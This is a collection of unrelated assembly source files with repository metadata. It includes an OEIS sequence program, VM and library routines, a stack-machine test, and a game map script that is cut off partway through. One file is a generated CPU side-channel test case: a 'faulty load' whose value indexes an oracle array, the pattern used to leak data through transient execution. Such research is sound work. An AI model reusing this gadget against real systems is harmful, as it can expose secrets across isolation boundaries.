mov dword [eax], 0 ; clear the address pushed by the call instruction
%include "footer.inc"
| 12.8125
| 73
| 0.658537
|
4a3d5486470dc7b8abc65d01aefd212fc4fe99f5
| 455
|
asm
|
Assembly
|
programs/oeis/105/A105060.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/105/A105060.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/105/A105060.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A105060: Triangle read by rows in which the n-th row consists of the first n nonzero terms of A033312.
; 1,1,5,1,5,23,1,5,23,119,1,5,23,119,719,1,5,23,119,719,5039,1,5,23,119,719,5039,40319,1,5,23,119,719,5039,40319,362879,1,5,23,119,719,5039,40319,362879,3628799,1,5,23,119,719,5039,40319,362879,3628799,39916799
cal $0,25691 ; Exponent of 10 (value of j) in n-th number of form 9^i*10^j.
add $0,2
fac $0
mov $1,$0
sub $1,2
div $1,2
mul $1,2
add $1,1
| 37.916667
| 210
| 0.703297
|
895c3d0f6d4c9968cc48a58689791bf2f78e6ed7
| 341
|
asm
|
Assembly
|
VM/src/Linux/VPU/x86_64/organized/execute.asm
|
ozdevguy/Ditto
|
70ff02ae1f5483e168ba4900d28bcdfcacfe22bd
|
[
"Apache-2.0"
] | null | null | null |
VM/src/Linux/VPU/x86_64/organized/execute.asm
|
ozdevguy/Ditto
|
70ff02ae1f5483e168ba4900d28bcdfcacfe22bd
|
[
"Apache-2.0"
] | null | null | null |
VM/src/Linux/VPU/x86_64/organized/execute.asm
|
ozdevguy/Ditto
|
70ff02ae1f5483e168ba4900d28bcdfcacfe22bd
|
[
"Apache-2.0"
] | null | null | null |
ivpu_execute:
mov r11, 0xFF000000 #Create an opcode mask.
and r11, r15 #Pull the opcode from the instruction by using the mask.
shr r11, 0x15 #Shift the opcode to the right by 21 places in order to get the correct offset into the opcode pointer vector.
jmp [r14 + r11] #Jump to the opcode's logic address.
| 56.833333
| 133
| 0.68915
|
4afbb5b187294cf2c89647747ee70db0918e2e81
| 94
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/atan.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/atan.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/atan.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
SECTION code_fp_math48
PUBLIC _atan
EXTERN cm48_sdccix_atan
defc _atan = cm48_sdccix_atan
| 10.444444
| 29
| 0.840426
|
c65f0ad97395ed66fecaec2c27ca9144d7406713
| 6,183
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_1135.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_1135.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_1135.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x17888, %r14
nop
add %r13, %r13
mov (%r14), %si
nop
cmp $63818, %rbx
lea addresses_WT_ht+0x199c8, %rsi
lea addresses_D_ht+0x195c8, %rdi
nop
nop
dec %r10
mov $118, %rcx
rep movsl
nop
add %rcx, %rcx
lea addresses_normal_ht+0x128, %rdi
nop
nop
nop
nop
nop
and %rcx, %rcx
movups (%rdi), %xmm4
vpextrq $0, %xmm4, %r10
nop
nop
cmp %rbx, %rbx
lea addresses_UC_ht+0x175a8, %rsi
lea addresses_A_ht+0x84c8, %rdi
nop
nop
nop
dec %r13
mov $59, %rcx
rep movsq
nop
nop
nop
inc %rdi
lea addresses_normal_ht+0x13b50, %rsi
nop
nop
nop
dec %r13
vmovups (%rsi), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rdi
and %rcx, %rcx
lea addresses_normal_ht+0x6d61, %rsi
lea addresses_WT_ht+0xcf5c, %rdi
nop
nop
xor %r10, %r10
mov $61, %rcx
rep movsl
nop
nop
sub %rbx, %rbx
lea addresses_A_ht+0x15100, %r14
nop
nop
nop
nop
xor %rdi, %rdi
movb $0x61, (%r14)
xor $36365, %r14
lea addresses_WC_ht+0x1abc8, %r10
nop
and $63594, %r14
mov (%r10), %esi
nop
nop
add $47674, %rsi
lea addresses_UC_ht+0x76e0, %rcx
nop
nop
nop
nop
cmp %rbx, %rbx
movw $0x6162, (%rcx)
sub $55944, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %rax
push %rbp
push %rsi
// Faulty Load
lea addresses_normal+0x1bfc8, %r15
nop
nop
nop
nop
dec %rbp
vmovaps (%r15), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %r10
lea oracles, %r15
and $0xff, %r10
shlq $12, %r10
mov (%r15,%r10,1), %r10
pop %rsi
pop %rbp
pop %rax
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': True, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 8}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_normal_ht', 'same': True, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': True, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 41.22
| 2,999
| 0.65955
|
f79405199cb4730e4530e43152ceef334daaeb45
| 229
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/z80/c/sdcc/z80_indr_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/z80/c/sdcc/z80_indr_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/z80/c/sdcc/z80_indr_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; void *z80_indr_callee(void *dst, uint8_t port, uint8_t num)
SECTION code_clib
SECTION code_z80
PUBLIC _z80_indr_callee
EXTERN asm_z80_indr
_z80_indr_callee:
pop af
pop hl
pop bc
push af
jp asm_z80_indr
| 12.052632
| 61
| 0.737991
|
38d5015aa16c4d4948022008d55ae186bf671448
| 859
|
asm
|
Assembly
|
tests/emra/EM_MODE/asm/EM08_core1.asm
|
ilebedev/stacktool
|
0750fb632d6a06596056edb97825baa035cec418
|
[
"MIT"
] | 1
|
2021-02-17T17:44:59.000Z
|
2021-02-17T17:44:59.000Z
|
tests/emra/EM_MODE/asm/EM08_core1.asm
|
ilebedev/stacktool
|
0750fb632d6a06596056edb97825baa035cec418
|
[
"MIT"
] | null | null | null |
tests/emra/EM_MODE/asm/EM08_core1.asm
|
ilebedev/stacktool
|
0750fb632d6a06596056edb97825baa035cec418
|
[
"MIT"
] | null | null | null |
#define BASE_ADDR_0 0x00000000 // (core 0)
#define BASE_ADDR_1 0x02000000 // (core 1)
#define BASE_ADDR_2 0x04000000 // (core 2)
#define BASE_ADDR_3 0x06000000 // (core 3)
#int main1() {
#
# int *arr2 = (int *) BASE_ADDR_2; // data mapped on core 2
# int temp = 0;
#
# *(arr2+1) = 1; // migrates to core 2 (guest context)
#
# for (int i = 0; i <= 100; i++) {
# temp += i;
# }
#
# *(arr2+3) = temp;
#
# return 0;
#}
#(RA)
#@ENTRY:
PUSH 1;
PUSH 1;
SETHI 0x0400;
ST_EM 2 0;
PUSH 0;
PUSH 0;
#(i, temp, RA)
#@CONDITION:
PULL_CP 0;
PUSH 100;
COMP_ULT;
B_Z 5; #branch to @BODY
#(i, temp, RA)
#@RETURN:
DROP 0;
PUSH 3;
SETHI 0x0400;
ST_EM 2 0;
HALT;
#(i, temp, RA)
#@BODY:
# temp += i
TUCK_CP 1;
#(i, temp, i, RA)
ADD;
#(temp, i, RA)
PULL 1;
#(i, temp, RA)
#(i, temp, RA)
#@FOR.END:
PUSH 1;
ADD;
J_REL -15; #@CONDITION
| 12.820896
| 59
| 0.56461
|
ef4c7bba564e46cdc5f80778c80cf763ff5fdc83
| 15,252
|
asm
|
Assembly
|
maps/GoldenrodGameCorner.asm
|
genterz/pokecross
|
5e62ab6c23e624ea82d599af306f9c52d768a8b4
|
[
"blessing"
] | 28
|
2019-11-08T07:19:00.000Z
|
2021-12-20T10:17:54.000Z
|
maps/GoldenrodGameCorner.asm
|
genterz/pokecross
|
5e62ab6c23e624ea82d599af306f9c52d768a8b4
|
[
"blessing"
] | 13
|
2020-01-11T17:00:40.000Z
|
2021-09-14T01:27:38.000Z
|
maps/GoldenrodGameCorner.asm
|
genterz/pokecross
|
5e62ab6c23e624ea82d599af306f9c52d768a8b4
|
[
"blessing"
] | 22
|
2020-05-28T17:31:38.000Z
|
2022-03-07T20:49:35.000Z
|
GOLDENRODGAMECORNER_TM25_COINS EQU 5500
GOLDENRODGAMECORNER_TM14_COINS EQU 5500
GOLDENRODGAMECORNER_TM38_COINS EQU 5500
GOLDENRODGAMECORNER_ABRA_COINS EQU 100
GOLDENRODGAMECORNER_CUBONE_COINS EQU 800
GOLDENRODGAMECORNER_WOBBUFFET_COINS EQU 1500
object_const_def ; object_event constants
const GOLDENRODGAMECORNER_CLERK
const GOLDENRODGAMECORNER_RECEPTIONIST1
const GOLDENRODGAMECORNER_RECEPTIONIST2
const GOLDENRODGAMECORNER_PHARMACIST1
const GOLDENRODGAMECORNER_PHARMACIST2
const GOLDENRODGAMECORNER_POKEFAN_M1
const GOLDENRODGAMECORNER_COOLTRAINER_M
const GOLDENRODGAMECORNER_POKEFAN_F
const GOLDENRODGAMECORNER_COOLTRAINER_F
const GOLDENRODGAMECORNER_GENTLEMAN
const GOLDENRODGAMECORNER_POKEFAN_M2
const GOLDENRODGAMECORNER_MOVETUTOR
GoldenrodGameCorner_MapScripts:
db 0 ; scene scripts
db 1 ; callbacks
callback MAPCALLBACK_OBJECTS, .MoveTutor
.MoveTutor:
checkevent EVENT_BEAT_ELITE_FOUR
iffalse .finish
checkitem COIN_CASE
iffalse .move_tutor_inside
readvar VAR_WEEKDAY
ifequal WEDNESDAY, .move_tutor_outside
ifequal SATURDAY, .move_tutor_outside
.move_tutor_inside
appear GOLDENRODGAMECORNER_MOVETUTOR
return
.move_tutor_outside
checkflag ENGINE_DAILY_MOVE_TUTOR
iftrue .finish
disappear GOLDENRODGAMECORNER_MOVETUTOR
.finish
return
MoveTutorInsideScript:
faceplayer
opentext
writetext MoveTutorInsideText
waitbutton
closetext
turnobject GOLDENRODGAMECORNER_MOVETUTOR, RIGHT
end
GoldenrodGameCornerCoinVendorScript:
jumpstd gamecornercoinvendor
GoldenrodGameCornerTMVendorScript:
faceplayer
opentext
writetext GoldenrodGameCornerPrizeVendorIntroText
waitbutton
checkitem COIN_CASE
iffalse GoldenrodGameCornerPrizeVendor_NoCoinCaseScript
writetext GoldenrodGameCornerPrizeVendorWhichPrizeText
GoldenrodGameCornerTMVendor_LoopScript:
special DisplayCoinCaseBalance
loadmenu GoldenrodGameCornerTMVendorMenuHeader
verticalmenu
closewindow
ifequal 1, .Thunder
ifequal 2, .Blizzard
ifequal 3, .FireBlast
sjump GoldenrodGameCornerPrizeVendor_CancelPurchaseScript
.Thunder:
checkcoins GOLDENRODGAMECORNER_TM25_COINS
ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript
getitemname STRING_BUFFER_3, TM_THUNDER
scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript
iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript
giveitem TM_THUNDER
iffalse GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript
takecoins GOLDENRODGAMECORNER_TM25_COINS
sjump GoldenrodGameCornerTMVendor_FinishScript
.Blizzard:
checkcoins GOLDENRODGAMECORNER_TM14_COINS
ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript
getitemname STRING_BUFFER_3, TM_BLIZZARD
scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript
iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript
giveitem TM_BLIZZARD
iffalse GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript
takecoins GOLDENRODGAMECORNER_TM14_COINS
sjump GoldenrodGameCornerTMVendor_FinishScript
.FireBlast:
checkcoins GOLDENRODGAMECORNER_TM38_COINS
ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript
getitemname STRING_BUFFER_3, TM_FIRE_BLAST
scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript
iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript
giveitem TM_FIRE_BLAST
iffalse GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript
takecoins GOLDENRODGAMECORNER_TM38_COINS
sjump GoldenrodGameCornerTMVendor_FinishScript
GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript:
writetext GoldenrodGameCornerPrizeVendorConfirmPrizeText
yesorno
end
GoldenrodGameCornerTMVendor_FinishScript:
waitsfx
playsound SFX_TRANSACTION
writetext GoldenrodGameCornerPrizeVendorHereYouGoText
waitbutton
sjump GoldenrodGameCornerTMVendor_LoopScript
GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript:
writetext GoldenrodGameCornerPrizeVendorNeedMoreCoinsText
waitbutton
closetext
end
GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript:
writetext GoldenrodGameCornerPrizeVendorNoMoreRoomText
waitbutton
closetext
end
GoldenrodGameCornerPrizeVendor_CancelPurchaseScript:
writetext GoldenrodGameCornerPrizeVendorQuitText
waitbutton
closetext
end
GoldenrodGameCornerPrizeVendor_NoCoinCaseScript:
writetext GoldenrodGameCornerPrizeVendorNoCoinCaseText
waitbutton
closetext
end
GoldenrodGameCornerTMVendorMenuHeader:
db MENU_BACKUP_TILES ; flags
menu_coords 0, 2, 15, TEXTBOX_Y - 1
dw .MenuData
db 1 ; default option
.MenuData:
db STATICMENU_CURSOR ; flags
db 4 ; items
db "TM25 5500@"
db "TM14 5500@"
db "TM38 5500@"
db "CANCEL@"
GoldenrodGameCornerPrizeMonVendorScript:
faceplayer
opentext
writetext GoldenrodGameCornerPrizeVendorIntroText
waitbutton
checkitem COIN_CASE
iffalse GoldenrodGameCornerPrizeVendor_NoCoinCaseScript
.loop
writetext GoldenrodGameCornerPrizeVendorWhichPrizeText
special DisplayCoinCaseBalance
loadmenu .MenuHeader
verticalmenu
closewindow
ifequal 1, .Abra
ifequal 2, .Cubone
ifequal 3, .Wobbuffet
sjump GoldenrodGameCornerPrizeVendor_CancelPurchaseScript
.Abra:
checkcoins GOLDENRODGAMECORNER_ABRA_COINS
ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript
readvar VAR_PARTYCOUNT
ifequal PARTY_LENGTH, GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript
getmonname STRING_BUFFER_3, ABRA
scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript
iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript
waitsfx
playsound SFX_TRANSACTION
writetext GoldenrodGameCornerPrizeVendorHereYouGoText
waitbutton
setval ABRA
special GameCornerPrizeMonCheckDex
givepoke ABRA, 5
takecoins GOLDENRODGAMECORNER_ABRA_COINS
sjump .loop
.Cubone:
checkcoins GOLDENRODGAMECORNER_CUBONE_COINS
ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript
readvar VAR_PARTYCOUNT
ifequal PARTY_LENGTH, GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript
getmonname STRING_BUFFER_3, CUBONE
scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript
iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript
waitsfx
playsound SFX_TRANSACTION
writetext GoldenrodGameCornerPrizeVendorHereYouGoText
waitbutton
setval CUBONE
special GameCornerPrizeMonCheckDex
givepoke CUBONE, 15
takecoins GOLDENRODGAMECORNER_CUBONE_COINS
sjump .loop
.Wobbuffet:
checkcoins GOLDENRODGAMECORNER_WOBBUFFET_COINS
ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript
readvar VAR_PARTYCOUNT
ifequal PARTY_LENGTH, GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript
getmonname STRING_BUFFER_3, WOBBUFFET
scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript
iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript
waitsfx
playsound SFX_TRANSACTION
writetext GoldenrodGameCornerPrizeVendorHereYouGoText
waitbutton
setval WOBBUFFET
special GameCornerPrizeMonCheckDex
givepoke WOBBUFFET, 15
takecoins GOLDENRODGAMECORNER_WOBBUFFET_COINS
sjump .loop
.MenuHeader:
db MENU_BACKUP_TILES ; flags
menu_coords 0, 2, 17, TEXTBOX_Y - 1
dw .MenuData
db 1 ; default option
.MenuData:
db STATICMENU_CURSOR ; flags
db 4 ; items
db "ABRA 100@"
db "CUBONE 800@"
db "WOBBUFFET 1500@"
db "CANCEL@"
GoldenrodGameCornerPharmacistScript:
faceplayer
opentext
writetext GoldenrodGameCornerPharmacistText
waitbutton
closetext
turnobject LAST_TALKED, LEFT
end
GoldenrodGameCornerPokefanM1Script:
faceplayer
opentext
writetext GoldenrodGameCornerPokefanM1Text
waitbutton
closetext
turnobject GOLDENRODGAMECORNER_POKEFAN_M1, RIGHT
end
GoldenrodGameCornerCooltrainerMScript:
faceplayer
opentext
writetext GoldenrodGameCornerCooltrainerMText
waitbutton
closetext
turnobject GOLDENRODGAMECORNER_COOLTRAINER_M, LEFT
end
GoldenrodGameCornerPokefanFScript:
faceplayer
opentext
writetext GoldenrodGameCornerPokefanFText
waitbutton
closetext
turnobject GOLDENRODGAMECORNER_POKEFAN_F, RIGHT
end
GoldenrodGameCornerCooltrainerFScript:
jumptextfaceplayer GoldenrodGameCornerCooltrainerFText
GoldenrodGameCornerGentlemanScript:
faceplayer
opentext
writetext GoldenrodGameCornerGentlemanText
waitbutton
closetext
turnobject GOLDENRODGAMECORNER_GENTLEMAN, RIGHT
end
GoldenrodGameCornerPokefanM2Script:
jumptextfaceplayer GoldenrodGameCornerPokefanM2Text
GoldenrodGameCornerLeftTheirDrinkScript:
jumptext GoldenrodGameCornerLeftTheirDrinkText
GoldenrodGameCornerSlotsMachineScript:
random 6
ifequal 0, GoldenrodGameCornerLuckySlotsMachineScript
refreshscreen
setval FALSE
special SlotMachine
closetext
end
GoldenrodGameCornerLuckySlotsMachineScript:
refreshscreen
setval TRUE
special SlotMachine
closetext
end
GoldenrodGameCornerCardFlipMachineScript:
refreshscreen
special CardFlip
closetext
end
GoldenrodGameCornerPrizeVendorIntroText:
text "Welcome!"
para "We exchange your"
line "game coins for"
cont "fabulous prizes!"
done
GoldenrodGameCornerPrizeVendorWhichPrizeText:
text "Which prize would"
line "you like?"
done
GoldenrodGameCornerPrizeVendorConfirmPrizeText:
text_ram wStringBuffer3
text "."
line "Is that right?"
done
GoldenrodGameCornerPrizeVendorHereYouGoText:
text "Here you go!"
done
GoldenrodGameCornerPrizeVendorNeedMoreCoinsText:
text "Sorry! You need"
line "more coins."
done
GoldenrodGameCornerPrizeVendorNoMoreRoomText:
text "Sorry. You can't"
line "carry any more."
done
GoldenrodGameCornerPrizeVendorQuitText:
text "OK. Please save"
line "your coins and"
cont "come again!"
done
GoldenrodGameCornerPrizeVendorNoCoinCaseText:
text "Oh? You don't have"
line "a COIN CASE."
done
GoldenrodGameCornerPharmacistText:
text "I always play this"
line "slot machine. It"
para "pays out more than"
line "others, I think."
done
GoldenrodGameCornerPokefanM1Text:
text "I just love this"
line "new slot machine."
para "It's more of a"
line "challenge than the"
cont "ones in CELADON."
done
GoldenrodGameCornerCooltrainerMText:
text "Life is a gamble."
line "I'm going to flip"
cont "cards till I drop!"
done
GoldenrodGameCornerPokefanFText:
text "Card flip…"
para "I prefer it over"
line "the slots because"
para "it's easier to"
line "figure the odds."
para "But the payout is"
line "much lower."
done
GoldenrodGameCornerCooltrainerFText:
text "I won't quit until"
line "I win!"
done
GoldenrodGameCornerGentlemanText:
text "I taught BLIZZARD"
line "to my #MON."
para "It was hard to get"
line "enough coins for"
para "it, but it was"
line "worth it."
done
GoldenrodGameCornerPokefanM2Text:
text "I couldn't win at"
line "the slots, and I"
para "blew it on card"
line "flipping…"
para "I got so furious,"
line "I tossed out my"
para "COIN CASE in the"
line "UNDERGROUND."
done
MoveTutorInsideText:
text "Wahahah! The coins"
line "keep rolling in!"
done
GoldenrodGameCornerLeftTheirDrinkText:
text "Someone left their"
line "drink."
para "It smells sweet."
done
GoldenrodGameCorner_MapEvents:
db 0, 0 ; filler
db 2 ; warp events
warp_event 2, 13, GOLDENROD_CITY, 10
warp_event 3, 13, GOLDENROD_CITY, 10
db 0 ; coord events
db 31 ; bg events
bg_event 6, 6, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript
bg_event 6, 7, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript
bg_event 6, 8, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript
bg_event 6, 9, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript
bg_event 6, 10, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript
bg_event 6, 11, BGEVENT_RIGHT, GoldenrodGameCornerSlotsMachineScript
bg_event 7, 6, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript
bg_event 7, 7, BGEVENT_READ, GoldenrodGameCornerLuckySlotsMachineScript
bg_event 7, 8, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript
bg_event 7, 9, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript
bg_event 7, 10, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript
bg_event 7, 11, BGEVENT_LEFT, GoldenrodGameCornerSlotsMachineScript
bg_event 12, 6, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript
bg_event 12, 7, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript
bg_event 12, 8, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript
bg_event 12, 9, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript
bg_event 12, 10, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript
bg_event 12, 11, BGEVENT_RIGHT, GoldenrodGameCornerSlotsMachineScript
bg_event 13, 6, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript
bg_event 13, 7, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript
bg_event 13, 8, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript
bg_event 13, 9, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript
